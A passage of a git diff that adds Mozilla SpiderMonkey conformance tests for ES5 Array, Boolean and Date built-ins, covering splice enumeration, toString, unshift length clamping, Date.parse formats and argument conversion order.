+assertEq(removed[2], 2);
+assertEq(removed[3], 3);
+assertEq(removed[4], 4);
+assertEq(removed[5], 5);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/Array/splice-suppresses-unvisited-indexes.js b/js/src/tests/ecma_5/Array/splice-suppresses-unvisited-indexes.js
new file mode 100644
index 000000000..717116fa0
--- /dev/null
+++ b/js/src/tests/ecma_5/Array/splice-suppresses-unvisited-indexes.js
@@ -0,0 +1,61 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 668024;
+var summary =
+ 'Array.prototype.splice, when it deletes elements, should make sure any ' +
+ 'deleted but not visited elements are suppressed from subsequent enumeration';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var arr = [0, 1, 2, 3, 4, 5, , 7];
+
+var seen = [];
+var sawOneBeforeThree = true;
+for (var p in arr)
+{
+ if (p === "1")
+ {
+ // The order of enumeration of properties is unspecified, so technically,
+ // it would be kosher to enumerate "1" last, say, such that all properties
+ // in the array actually were enumerated, including an index which splice
+ // would delete. Don't flag that case as a failure. (SpiderMonkey doesn't
+ // do this, and neither do any of the other browser engines, but it is
+ // permissible behavior.)
+ if (seen.indexOf("3") >= 0)
+ {
+ sawOneBeforeThree = false;
+ break;
+ }
+
+ arr.splice(2, 3);
+ }
+
+ seen.push(p);
+}
+
+if (sawOneBeforeThree)
+{
+ // ES5 12.6.4 states:
+ //
+ // If a property that has not yet been visited during enumeration is
+ // deleted, then it will not be visited.
+ //
+ // So if we haven't seen "3" by the time we see "1", the splice call above
+ // will delete "3", and therefore we must not see it.
+ assertEq(seen.indexOf("3"), -1);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/Array/toLocaleString-01.js b/js/src/tests/ecma_5/Array/toLocaleString-01.js
new file mode 100644
index 000000000..458283e63
--- /dev/null
+++ b/js/src/tests/ecma_5/Array/toLocaleString-01.js
@@ -0,0 +1,36 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 562446;
+var summary = 'ES5: Array.prototype.toLocaleString';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var o;
+
+o = { length: 2, 0: 7, 1: { toLocaleString: function() { return "baz" } } };
+assertEq(Array.prototype.toLocaleString.call(o), "7,baz");
+
+o = {};
+assertEq(Array.prototype.toLocaleString.call(o), "");
+
+var log = '';
+arr = {length: {valueOf: function () { log += "L"; return 2; }},
+ 0: "x", 1: "z"};
+assertEq(Array.prototype.toLocaleString.call(arr), "x,z");
+assertEq(log, "L");
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Array/toString-01.js b/js/src/tests/ecma_5/Array/toString-01.js
new file mode 100644
index 000000000..a92fe6369
--- /dev/null
+++ b/js/src/tests/ecma_5/Array/toString-01.js
@@ -0,0 +1,52 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 562446;
+var summary = 'ES5: Array.prototype.toString';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var o;
+
+o = { join: function() { assertEq(arguments.length, 0); return "ohai"; } };
+assertEq(Array.prototype.toString.call(o), "ohai");
+
+o = {};
+assertEq(Array.prototype.toString.call(o), "[object Object]");
+
+Array.prototype.join = function() { return "kthxbai"; };
+assertEq(Array.prototype.toString.call([]), "kthxbai");
+
+o = { join: 17 };
+assertEq(Array.prototype.toString.call(o), "[object Object]");
+
+o = { get join() { throw 42; } };
+try
+{
+ var str = Array.prototype.toString.call(o);
+ assertEq(true, false,
+ "expected an exception calling [].toString on an object with a " +
+ "join getter that throws, got " + str + " instead");
+}
+catch (e)
+{
+ assertEq(e, 42,
+ "expected thrown e === 42 when calling [].toString on an object " +
+ "with a join getter that throws, got " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Array/unshift-01.js b/js/src/tests/ecma_5/Array/unshift-01.js
new file mode 100644
index 000000000..84c9d88a5
--- /dev/null
+++ b/js/src/tests/ecma_5/Array/unshift-01.js
@@ -0,0 +1,45 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 614070;
+var summary = 'Array.prototype.unshift without args';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// ES6 ToLength clamps length values to 2^53 - 1.
+// We currently clamp to 2^32 - 1 instead. See bug 924058.
+var MAX_LENGTH = 0xffffffff;
+
+var a = {};
+a.length = MAX_LENGTH + 1;
+assertEq([].unshift.call(a), MAX_LENGTH);
+assertEq(a.length, MAX_LENGTH);
+
+function testGetSet(len, expected) {
+ var newlen;
+ var a = { get length() { return len; }, set length(v) { newlen = v; } };
+ var res = [].unshift.call(a);
+ assertEq(res, expected);
+ assertEq(newlen, expected);
+}
+
+testGetSet(0, 0);
+testGetSet(10, 10);
+testGetSet("1", 1);
+testGetSet(null, 0);
+testGetSet(MAX_LENGTH + 2, MAX_LENGTH);
+testGetSet(-5, 0);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Boolean/15.6.4.2.js b/js/src/tests/ecma_5/Boolean/15.6.4.2.js
new file mode 100644
index 000000000..3e10afa38
--- /dev/null
+++ b/js/src/tests/ecma_5/Boolean/15.6.4.2.js
@@ -0,0 +1,17 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(raisesException(TypeError)('Boolean.prototype.toString.call(42)'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toString.call("")'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toString.call({})'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toString.call(null)'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toString.call([])'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toString.call(undefined)'), true);
+assertEq(raisesException(TypeError)('Boolean.prototype.toString.call(new String())'), true);
+
+assertEq(completesNormally('Boolean.prototype.toString.call(true)'), true);
+assertEq(completesNormally('Boolean.prototype.toString.call(new Boolean(true))'), true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/Boolean/browser.js b/js/src/tests/ecma_5/Boolean/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/Boolean/browser.js
diff --git a/js/src/tests/ecma_5/Boolean/no-boolean-toJSON.js b/js/src/tests/ecma_5/Boolean/no-boolean-toJSON.js
new file mode 100644
index 000000000..e12c8049b
--- /dev/null
+++ b/js/src/tests/ecma_5/Boolean/no-boolean-toJSON.js
@@ -0,0 +1,17 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Author: Tom Schuster
+ */
+
+JSON.stringify(new Boolean(false), function(k, v) {
+ assertEq(typeof v, "object");
+});
+
+assertEq(Boolean.prototype.hasOwnProperty('toJSON'), false);
+
+Object.prototype.toJSON = function() { return 2; };
+assertEq(JSON.stringify(new Boolean(true)), "2");
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/Boolean/shell.js b/js/src/tests/ecma_5/Boolean/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/Boolean/shell.js
diff --git a/js/src/tests/ecma_5/Date/15.9.4.2.js b/js/src/tests/ecma_5/Date/15.9.4.2.js
new file mode 100644
index 000000000..fb34efef6
--- /dev/null
+++ b/js/src/tests/ecma_5/Date/15.9.4.2.js
@@ -0,0 +1,136 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430930;
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function iso(d)
+{
+ return new Date(d).toISOString();
+}
+
+function check(s, millis){
+ description = "Date.parse('"+s+"') == '"+iso(millis)+"'";
+ expected = millis;
+ actual = Date.parse(s);
+ reportCompare(expected, actual, description);
+}
+
+function checkInvalid(s)
+{
+ description = "Date.parse('"+s+"') produces invalid date";
+ expected = NaN;
+ actual = Date.parse(s);
+ reportCompare(expected, actual, description);
+}
+
+function dd(year, month, day, hour, minute, second, millis){
+ return Date.UTC(year, month-1, day, hour, minute, second, millis);
+}
+
+function TZAtDate(d){
+ return d.getTimezoneOffset() * 60000;
+}
+
+function TZInMonth(month){
+ return TZAtDate(new Date(dd(2009,month,1,0,0,0,0)));
+}
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+
+ JanTZ = TZInMonth(1);
+ JulTZ = TZInMonth(7);
+ CurrTZ = TZAtDate(new Date());
+
+ // formats with explicit timezone
+ check("2009-07-23T19:53:21.001+12:00", dd(2009,7,23,7,53,21,1));
+ check("2009-07-23T19:53:21+12:00", dd(2009,7,23,7,53,21,0));
+ check("2009-07-23T19:53+12:00", dd(2009,7,23,7,53,0,0));
+
+ check("2009-07T19:53:21.001+12:00", dd(2009,7,1,7,53,21,1));
+ check("2009-07T19:53:21+12:00", dd(2009,7,1,7,53,21,0));
+ check("2009-07T19:53+12:00", dd(2009,7,1,7,53,0,0));
+
+ check("2009T19:53:21.001+12:00", dd(2009,1,1,7,53,21,1));
+ check("2009T19:53:21+12:00", dd(2009,1,1,7,53,21,0));
+ check("2009T19:53+12:00", dd(2009,1,1,7,53,0,0));
+
+ check("T19:53:21.001+12:00", dd(1970,1,1,7,53,21,1));
+ check("T19:53:21+12:00", dd(1970,1,1,7,53,21,0));
+ check("T19:53+12:00", dd(1970,1,1,7,53,0,0));
+
+ // formats without timezone uses the timezone as at that date
+ check("2009-07-23T19:53:21.001", dd(2009,7,23,19,53,21,1)+JulTZ);
+ check("2009-07-23T19:53:21", dd(2009,7,23,19,53,21,0)+JulTZ);
+ check("2009-07-23T19:53", dd(2009,7,23,19,53,0,0)+JulTZ);
+
+ check("2009-07T19:53:21.001", dd(2009,7,1,19,53,21,1)+JulTZ);
+ check("2009-07T19:53:21", dd(2009,7,1,19,53,21,0)+JulTZ);
+ check("2009-07T19:53", dd(2009,7,1,19,53,0,0)+JulTZ);
+
+ check("2009T19:53:21.001", dd(2009,1,1,19,53,21,1)+JanTZ);
+ check("2009T19:53:21", dd(2009,1,1,19,53,21,0)+JanTZ);
+ check("2009T19:53", dd(2009,1,1,19,53,0,0)+JanTZ);
+
+ check("T19:53:21.001", dd(1970,1,1,19,53,21,1)+JanTZ);
+ check("T19:53:21", dd(1970,1,1,19,53,21,0)+JanTZ);
+ check("T19:53", dd(1970,1,1,19,53,0,0)+JanTZ);
+
+ // with no time at all assume UTC
+ check("2009-07-23", dd(2009,7,23,0,0,0,0));
+ check("2009-07", dd(2009,7,1,0,0,0,0));
+ check("2009", dd(2009,1,1,0,0,0,0));
+
+ // one field too big
+ checkInvalid("2009-13-23T19:53:21.001+12:00");
+ checkInvalid("2009-07-32T19:53:21.001+12:00");
+ checkInvalid("2009-07-23T25:53:21.001+12:00");
+ checkInvalid("2009-07-23T19:60:21.001+12:00");
+ checkInvalid("2009-07-23T19:53:60.001+12:00");
+ checkInvalid("2009-07-23T19:53:21.001+24:00");
+ checkInvalid("2009-07-23T19:53:21.001+12:60");
+
+ // other month ends
+ check("2009-06-30T19:53:21.001+12:00", dd(2009,6,30,7,53,21,1));
+ checkInvalid("2009-06-31T19:53:21.001+12:00");
+ check("2009-02-28T19:53:21.001+12:00", dd(2009,2,28,7,53,21,1));
+ checkInvalid("2009-02-29T19:53:21.001+12:00");
+ check("2008-02-29T19:53:21.001+12:00", dd(2008,2,29,7,53,21,1));
+ checkInvalid("2008-02-30T19:53:21.001+12:00");
+
+ // limits of representation
+ checkInvalid("-271821-04-19T23:59:59.999Z");
+ check("-271821-04-20", -8.64e15);
+ check("+275760-09-13", 8.64e15);
+ checkInvalid("+275760-09-13T00:00:00.001Z");
+
+ check("-269845-07-23T19:53:21.001+12:00", dd(-269845,7,23,7,53,21,1));
+ check("+273785-07-23T19:53:21.001+12:00", dd(273785,7,23,7,53,21,1));
+
+ // explicit UTC
+ check("2009-07-23T19:53:21.001Z", dd(2009,7,23,19,53,21,1));
+ check("+002009-07-23T19:53:21.001Z", dd(2009,7,23,19,53,21,1));
+
+ // different timezones
+ check("2009-07-23T19:53:21.001+12:00", dd(2009,7,23,7,53,21,1));
+ check("2009-07-23T00:53:21.001-07:00", dd(2009,7,23,7,53,21,1));
+
+ // 00:00 and 24:00
+ check("2009-07-23T00:00:00.000-07:00", dd(2009,7,23,7,0,0,0));
+ check("2009-07-23T24:00:00.000-07:00", dd(2009,7,24,7,0,0,0));
+
+ // Bug 730838 - non-zero fraction part for midnight should produce NaN
+ checkInvalid("1970-01-01T24:00:00.500Z");
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_5/Date/UTC-convert-all-arguments.js b/js/src/tests/ecma_5/Date/UTC-convert-all-arguments.js
new file mode 100644
index 000000000..2fee8b951
--- /dev/null
+++ b/js/src/tests/ecma_5/Date/UTC-convert-all-arguments.js
@@ -0,0 +1,70 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 1160356;
+var summary =
+ "Date.UTC must convert *all* arguments to number, not return NaN early if " +
+ "a non-finite argument is encountered";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectThrowTypeError(f, i)
+{
+ try
+ {
+ f();
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e, 42, "index " + i + ": expected 42, got " + e);
+ }
+}
+
+var bad =
+ { toString: function() { throw 17; }, valueOf: function() { throw 42; } };
+
+var args =
+ [
+ [bad],
+
+ [NaN, bad],
+ [Infinity, bad],
+ [1970, bad],
+
+ [1970, NaN, bad],
+ [1970, Infinity, bad],
+ [1970, 4, bad],
+
+ [1970, 4, NaN, bad],
+ [1970, 4, Infinity, bad],
+ [1970, 4, 17, bad],
+
+ [1970, 4, 17, NaN, bad],
+ [1970, 4, 17, Infinity, bad],
+ [1970, 4, 17, 13, bad],
+
+ [1970, 4, 17, 13, NaN, bad],
+ [1970, 4, 17, 13, Infinity, bad],
+ [1970, 4, 17, 13, 37, bad],
+
+ [1970, 4, 17, 13, 37, NaN, bad],
+ [1970, 4, 17, 13, 37, Infinity, bad],
+ [1970, 4, 17, 13, 37, 23, bad],
+ ];
+
+for (var i = 0, len = args.length; i < len; i++)
+ expectThrowTypeError(function() { Date.UTC.apply(null, args[i]); }, i);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/Date/browser.js b/js/src/tests/ecma_5/Date/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/Date/browser.js
diff --git a/js/src/tests/ecma_5/Date/constructor-convert-all-arguments.js b/js/src/tests/ecma_5/Date/constructor-convert-all-arguments.js
new file mode 100644
index 000000000..3a281cae2
--- /dev/null
+++ b/js/src/tests/ecma_5/Date/constructor-convert-all-arguments.js
@@ -0,0 +1,70 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 1160356;
+var summary =
+ "new Date(...) must convert *all* arguments to number, not return NaN " +
+ "early if a non-finite argument is encountered";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function expectThrowTypeError(f, i)
+{
+ try
+ {
+ f();
+ throw new Error("didn't throw");
+ }
+ catch (e)
+ {
+ assertEq(e, 42, "index " + i + ": expected 42, got " + e);
+ }
+}
+
+var bad =
+ { toString: function() { throw 17; }, valueOf: function() { throw 42; } };
+
+var funcs =
+ [
+ function() { new Date(bad); },
+
+ function() { new Date(NaN, bad); },
+ function() { new Date(Infinity, bad); },
+ function() { new Date(1970, bad); },
+
+ function() { new Date(1970, NaN, bad); },
+ function() { new Date(1970, Infinity, bad); },
+ function() { new Date(1970, 4, bad); },
+
+ function() { new Date(1970, 4, NaN, bad); },
+ function() { new Date(1970, 4, Infinity, bad); },
+ function() { new Date(1970, 4, 17, bad); },
+
+ function() { new Date(1970, 4, 17, NaN, bad); },
+ function() { new Date(1970, 4, 17, Infinity, bad); },
+ function() { new Date(1970, 4, 17, 13, bad); },
+
+ function() { new Date(1970, 4, 17, 13, NaN, bad); },
+ function() { new Date(1970, 4, 17, 13, Infinity, bad); },
+ function() { new Date(1970, 4, 17, 13, 37, bad); },
+
+ function() { new Date(1970, 4, 17, 13, 37, NaN, bad); },
+ function() { new Date(1970, 4, 17, 13, 37, Infinity, bad); },
+ function() { new Date(1970, 4, 17, 13, 37, 23, bad); },
+ ];
+
+for (var i = 0, len = funcs.length; i < len; i++)
+ expectThrowTypeError(funcs[i]);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/Date/constructor-one-argument.js b/js/src/tests/ecma_5/Date/constructor-one-argument.js
new file mode 100644
index 000000000..d7acd33aa
--- /dev/null
+++ b/js/src/tests/ecma_5/Date/constructor-one-argument.js
@@ -0,0 +1,26 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 738511;
+var summary =
+ "new Date(value) should call ToPrimitive on value before testing for " +
+ "string-ness";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(new Date(new String("2012-01-31T00:00:00.000Z")).valueOf(),
+ 1327968000000,
+ "Date constructor passed a String object should parse it");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/Date/defaultvalue.js b/js/src/tests/ecma_5/Date/defaultvalue.js
new file mode 100644
index 000000000..2fc5887d1
--- /dev/null
+++ b/js/src/tests/ecma_5/Date/defaultvalue.js
@@ -0,0 +1,190 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 645464;
+var summary =
+ "[[DefaultValue]] behavior wrong for Date with overridden valueOf/toString";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function allTests()
+{
+ var DS = new Date(2010, 1, 1).toString();
+
+ // equality
+
+ var d = new Date(2010, 1, 1);
+ assertEq(d == DS, true);
+
+ var d2 = new Date(2010, 1, 1);
+ d2.valueOf = function() { assertEq(arguments.length, 0); return 17; };
+ assertEq(d2 == DS, true);
+
+ var d3 = new Date(2010, 1, 1);
+ d3.toString = function() { return 42; };
+ assertEq(d3 == 42, true);
+
+ function testEquality()
+ {
+ var d = new Date(2010, 1, 1);
+ assertEq(d == DS, true);
+
+ var d2 = new Date(2010, 1, 1);
+ d2.valueOf = function() { assertEq(arguments.length, 0); return 17; };
+ assertEq(d2 == DS, true);
+
+ var d3 = new Date(2010, 1, 1);
+ d3.toString = function() { return 42; };
+ assertEq(d3 == 42, true);
+ }
+ testEquality();
+
+
+ // addition of Date to number
+
+ var d = new Date(2010, 1, 1);
+ assertEq(d + 5, DS + "5");
+
+ var d2 = new Date(2010, 1, 1);
+ d2.toString = function() { return 9; };
+ assertEq(d2 + 3, 9 + 3);
+
+ var d3 = new Date(2010, 1, 1);
+ d3.valueOf = function() { assertEq(arguments.length, 0); return 17; };
+ assertEq(d3 + 5, DS + "5");
+
+ function testDateNumberAddition()
+ {
+ var d = new Date(2010, 1, 1);
+ assertEq(d + 5, DS + "5");
+
+ var d2 = new Date(2010, 1, 1);
+ d2.toString = function() { return 9; };
+ assertEq(d2 + 3, 9 + 3);
+
+ var d3 = new Date(2010, 1, 1);
+ d3.valueOf = function() { assertEq(arguments.length, 0); return 17; };
+ assertEq(d3 + 5, DS + "5");
+ }
+ testDateNumberAddition();
+
+
+ // addition of Date to Date
+
+ var d = new Date(2010, 1, 1);
+ assertEq(d + d, DS + DS);
+
+ var d2 = new Date(2010, 1, 1);
+ d2.toString = function() { return 5; };
+ assertEq(d2 + d2, 10);
+
+ var d3 = new Date(2010, 1, 1);
+ d3.valueOf = function() { assertEq(arguments.length, 0); return 8.5; };
+ assertEq(d3 + d3, DS + DS);
+
+ function testDateDateAddition()
+ {
+ var d = new Date(2010, 1, 1);
+ assertEq(d + d, DS + DS);
+
+ var d2 = new Date(2010, 1, 1);
+ d2.toString = function() { return 5; };
+ assertEq(d2 + d2, 10);
+
+ var d3 = new Date(2010, 1, 1);
+ d3.valueOf = function() { assertEq(arguments.length, 0); return 8.5; };
+ assertEq(d3 + d3, DS + DS);
+ }
+ testDateDateAddition();
+
+
+ // Date as bracketed property name
+
+ var obj = { 8: 42, 9: 73 };
+ obj[DS] = 17;
+
+ var d = new Date(2010, 1, 1);
+ assertEq(obj[d], 17);
+
+ var d2 = new Date(2010, 1, 1);
+ d2.valueOf = function() { assertEq(arguments.length, 0); return 8; }
+ assertEq(obj[d2], 17);
+
+ var d3 = new Date(2010, 1, 1);
+ d3.toString = function() { return 9; };
+ assertEq(obj[d3], 73);
+
+ function testPropertyName()
+ {
+ var obj = { 8: 42, 9: 73 };
+ obj[DS] = 17;
+
+ var d = new Date(2010, 1, 1);
+ assertEq(obj[d], 17);
+
+ var d2 = new Date(2010, 1, 1);
+ d2.valueOf = function() { assertEq(arguments.length, 0); return 8; }
+ assertEq(obj[d2], 17);
+
+ var d3 = new Date(2010, 1, 1);
+ d3.toString = function() { return 9; };
+ assertEq(obj[d3], 73);
+ }
+ testPropertyName();
+
+
+ // Date as property name with |in| operator
+
+ var obj = {};
+ obj[DS] = 5;
+
+ var d = new Date(2010, 1, 1);
+ assertEq(d in obj, true);
+
+ var d2 = new Date(2010, 1, 1);
+ d2.toString = function() { return "baz"; };
+ assertEq(d2 in { baz: 42 }, true);
+
+ var d3 = new Date(2010, 1, 1);
+ d3.valueOf = function() { assertEq(arguments.length, 0); return "quux"; };
+ assertEq(d3 in obj, true);
+
+ function testInOperatorName()
+ {
+ var obj = {};
+ obj[DS] = 5;
+
+ var d = new Date(2010, 1, 1);
+ assertEq(d in obj, true);
+
+ var d2 = new Date(2010, 1, 1);
+ d2.toString = function() { return "baz"; };
+ assertEq(d2 in { baz: 42 }, true);
+
+ var d3 = new Date(2010, 1, 1);
+ d3.valueOf = function() { assertEq(arguments.length, 0); return "quux"; };
+ assertEq(d3 in obj, true);
+ }
+ testInOperatorName();
+}
+
+allTests();
+
+if (typeof newGlobal === "function")
+{
+ Date = newGlobal().Date;
+ allTests();
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma_5/Date/equality-to-boolean.js b/js/src/tests/ecma_5/Date/equality-to-boolean.js
new file mode 100644
index 000000000..c60319b9d
--- /dev/null
+++ b/js/src/tests/ecma_5/Date/equality-to-boolean.js
@@ -0,0 +1,39 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+print("Test for correct implementation of |Date == boolean| and vice versa");
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+Date.prototype.toString = function() { return 1; };
+Date.prototype.valueOf = function() { return 0; };
+
+/*
+ * ES5 11.9.3 doesn't directly handle obj == boolean. Instead it translates it
+ * as follows:
+ *
+ * obj == boolean
+ * ↳ obj == ToNumber(boolean), per step 7
+ * ↳ ToPrimitive(obj) == ToNumber(boolean), per step 9
+ *
+ * ToPrimitive calls [[DefaultValue]] with no hint. For Date objects this is
+ * treated as if it were instead called with hint String. That calls toString,
+ * which returns 1, so Date objects here should compare equal to true and
+ * unequal to false.
+ */
+assertEq(new Date == true, true);
+assertEq(new Date == false, false);
+
+/* == is symmetric. */
+assertEq(true == new Date, true);
+assertEq(false == new Date, false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/Date/fractions.js b/js/src/tests/ecma_5/Date/fractions.js
new file mode 100644
index 000000000..30dd663dd
--- /dev/null
+++ b/js/src/tests/ecma_5/Date/fractions.js
@@ -0,0 +1,24 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 771946;
+var summary = "Fractional days, months, years shouldn't trigger asserts";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+new Date(0).setFullYear(1.5);
+new Date(0).setUTCDate(1.5);
+new Date(0).setMonth(1.5);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_5/Date/setTime-argument-shortcircuiting.js b/js/src/tests/ecma_5/Date/setTime-argument-shortcircuiting.js
new file mode 100644
index 000000000..7e67d0374
--- /dev/null
+++ b/js/src/tests/ecma_5/Date/setTime-argument-shortcircuiting.js
@@ -0,0 +1,147 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+print("Test for correct short-circuiting implementation of Date.set methods");
+
+/**************
+ * BEGIN TEST *
+ **************/
+var global = 0;
+var date;
+
+/* Test that methods don't short circuit argument evaluation. */
+date = new Date(0).setSeconds(NaN, {valueOf:function(){global = 3}});
+assertEq(global, 3);
+
+date = new Date(0).setUTCSeconds(NaN, {valueOf:function(){global = 4}});
+assertEq(global, 4);
+
+date = new Date(0).setMinutes(NaN, {valueOf:function(){global = 5}});
+assertEq(global, 5);
+
+date = new Date(0).setUTCMinutes(NaN, {valueOf:function(){global = 6}});
+assertEq(global, 6);
+
+date = new Date(0).setHours(NaN, {valueOf:function(){global = 7}});
+assertEq(global, 7);
+
+date = new Date(0).setUTCHours(NaN, {valueOf:function(){global = 8}});
+assertEq(global, 8);
+
+date = new Date(0).setMonth(NaN, {valueOf:function(){global = 11}});
+assertEq(global, 11);
+
+date = new Date(0).setUTCMonth(NaN, {valueOf:function(){global = 12}});
+assertEq(global, 12);
+
+date = new Date(0).setFullYear(NaN, {valueOf:function(){global = 13}});
+assertEq(global, 13);
+
+date = new Date(0).setUTCFullYear(NaN, {valueOf:function(){global = 14}});
+assertEq(global, 14);
+
+
+
+/* Test that argument evaluation is not short circuited if Date == NaN */
+date = new Date(NaN).setMilliseconds({valueOf:function(){global = 15}});
+assertEq(global, 15);
+
+date = new Date(NaN).setUTCMilliseconds({valueOf:function(){global = 16}});
+assertEq(global, 16);
+
+date = new Date(NaN).setSeconds({valueOf:function(){global = 17}});
+assertEq(global, 17);
+
+date = new Date(NaN).setUTCSeconds({valueOf:function(){global = 18}});
+assertEq(global, 18);
+
+date = new Date(NaN).setMinutes({valueOf:function(){global = 19}});
+assertEq(global, 19);
+
+date = new Date(NaN).setUTCMinutes({valueOf:function(){global = 20}});
+assertEq(global, 20);
+
+date = new Date(NaN).setHours({valueOf:function(){global = 21}});
+assertEq(global, 21);
+
+date = new Date(NaN).setUTCHours({valueOf:function(){global = 22}});
+assertEq(global, 22);
+
+date = new Date(NaN).setDate({valueOf:function(){global = 23}});
+assertEq(global, 23);
+
+date = new Date(NaN).setUTCDate({valueOf:function(){global = 24}});
+assertEq(global, 24);
+
+date = new Date(NaN).setMonth({valueOf:function(){global = 25}});
+assertEq(global, 25);
+
+date = new Date(NaN).setUTCMonth({valueOf:function(){global = 26}});
+assertEq(global, 26);
+
+date = new Date(NaN).setFullYear({valueOf:function(){global = 27}});
+assertEq(global, 27);
+
+date = new Date(NaN).setUTCFullYear({valueOf:function(){global = 28}});
+assertEq(global, 28);
+
+
+/* Test the combination of the above two. */
+date = new Date(NaN).setSeconds(NaN, {valueOf:function(){global = 31}});
+assertEq(global, 31);
+
+date = new Date(NaN).setUTCSeconds(NaN, {valueOf:function(){global = 32}});
+assertEq(global, 32);
+
+date = new Date(NaN).setMinutes(NaN, {valueOf:function(){global = 33}});
+assertEq(global, 33);
+
+date = new Date(NaN).setUTCMinutes(NaN, {valueOf:function(){global = 34}});
+assertEq(global, 34);
+
+date = new Date(NaN).setHours(NaN, {valueOf:function(){global = 35}});
+assertEq(global, 35);
+
+date = new Date(NaN).setUTCHours(NaN, {valueOf:function(){global = 36}});
+assertEq(global, 36);
+
